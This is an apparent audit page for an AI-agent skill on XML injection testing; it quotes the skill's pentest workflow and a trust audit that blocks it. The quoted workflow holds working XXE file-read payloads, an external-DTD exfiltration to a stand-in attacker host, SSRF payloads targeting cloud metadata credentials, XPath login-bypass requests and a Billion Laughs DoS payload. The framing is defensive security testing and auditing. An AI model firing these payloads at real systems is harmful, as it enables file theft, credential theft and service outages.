Testing For Xml Injection VulnerabilitiesBLOCK
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Overview
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
6c59587be632OBSERVED · 2026-10-07What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
--- name: testing-for-xml-injection-vulnerabilities description: Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks. domain: cybersecurity subdomain: web-application-security tags: - xml-injection - xxe - xpath-injection - xml-parsing - web-security - entity-injection - dtd-attack version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1505.003 - T1083 - T1055 --- # Testing for XML Injection Vulnerabilities ## When to Use - When testing applications that process XML input (SOAP APIs, XML-RPC, file uploads) - During penetration testing of applications with XML parsers - When assessing SAML-based authentication implementations - When testing file import/export functionality that handles XML formats - During API security testing of SOAP or XML-based web services ## Prerequisites - Burp Suite with XML-related extensions (Content Type Converter, XXE Scanner) - XMLLint or similar XML validation tools - Understanding of XML structure, DTDs, and entity processing - Python 3.x with lxml and requests libraries - Access to an out-of-band interaction server (Burp Collaborator, interact.sh) - Sample XXE payloads from PayloadsAllTheThings repository ## Workflow ### Step 1 — Identify XML Processing Endpoints ```bash # Look for endpoints accepting XML content types # Content-Type: application/xml, text/xml, application/soap+xml # Check WSDL files for SOAP services curl -s http://target.com/service?wsdl # Test if endpoint accepts XML by changing Content-Type curl -X POST http://target.com/api/data \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><root><test>hello</test></root>' # Check for XML file upload functionality # Look for .xml, .svg, .xlsx, .docx file processing ``` ### Step 2 — Test for Basic XXE (File Retrieval) ```xml <!-- Basic XXE to read local files --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root><data>&xxe;</data></root> <!-- Windows file retrieval --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root><data>&xxe;</data></root> <!-- Using PHP wrapper for base64-encoded file content --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <root><data>&xxe;</data></root> ``` ### Step 3 — Test for Blind XXE with Out-of-Band Detection ```xml <!-- Out-of-band XXE using external DTD --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker-server.com/xxe.dtd"> %xxe; ]> <root><data>test</data></root> <!-- External DTD file (xxe.dtd hosted on attacker server) --> <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker-server.com/?data=%file;'>"> %eval; %exfil; <!-- DNS-based out-of-band detection --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://xxe-test.burpcollaborator.net"> ]> <root><data>&xxe;</data></root> ``` ### Step 4 — Test for SSRF via XXE ```xml <!-- Internal network scanning via XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <root><data>&xxe;</data></root> <!-- AWS metadata endpoint access --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> ]> <root><data>&xxe;</data></root> <!-- Internal port scanning --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal-server:8080/"> ]> <root><data>&xxe;</data></root> ``` ### Step 5 — Test for XPath Injection ```bash # Basic XPath injection in search parameters curl "http://target.com/search?query=' or '1'='1" # XPath authentication bypass curl -X POST http://target.com/login \ -d "username=' or '1'='1&password=' or '1'='1" # XPath data extraction curl "http://target.com/search?query=' or 1=1 or ''='" # Blind XPath injection with boolean-based extraction curl "http://target.com/search?query=' or string-length(//user[1]/password)=8 or ''='" curl "http://target.com/search?query=' or substring(//user[1]/password,1,1)='a' or ''='" ``` ### Step 6 — Test for XML Billion Laughs (DoS) ```xml <!-- Billion Laughs attack (use only in authorized testing) --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> ]> <root><data>&lol4;</data></root> <!-- Quadratic blowup attack --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY a "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"> ]> <root>&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;</root> ``` ## Key Concepts | Concept | Description | |---------|-------------| | XXE (XML External Entity) | Attack exploiting XML parsers that process external entity references | | Blind XXE | XXE where response is not reflected; requires out-of-band channels | | XPath Injection | Injection into XPath queries used to navigate XML documents | | DTD (Document Type Definition) | Declarations that define XML document structure and entities | | Parameter Entities | Special entities (%) used within DTDs for blind XXE exploitation | | SSRF via XXE | Using XXE to make server-side requests to internal resources | | XML Bomb | Denial of service via recursive entity expansion (Billion Laughs) | ## Tools & Systems | Tool | Purpose | |------|---------| | Burp Suite | HTTP proxy with XXE Scanner extension for automated detection | | XXEinjector | Automated XXE i
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (9)
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
"ssrf_http": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>',
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
| 3 | SSRF via XXE | POST /api/parse | SYSTEM "http://169.254.169.254/" | Cloud Credential Theft |
"ssrf_http": '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><root>&xxe;</root>',
Gates applied: critical_finding, no_behavioural_pass, undeclared_transfer.
6c59587be632full audit observations/trust-audit/skill/mukul975__testing-for-xml-injection-vulnerabilities.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-07 | 6c59587be632 | BLOCK | D | 69 | first audit |
Questions
What does the Testing For Xml Injection Vulnerabilities skill do?
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Is Testing For Xml Injection Vulnerabilities safe to install?
No — not without reading the findings first. The audit graded it D (69/100) and found 5 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What can Testing For Xml Injection Vulnerabilities access on my machine?
The audit observed that it reaches the network. Each of those is consistent with what it says it does. Secrets in the source: none found.
How current is this page?
The grade is for one exact copy of the source (6c59587be632), read on 2026-10-07. The repository is watched, and a new audit runs when it changes — this is the first audit.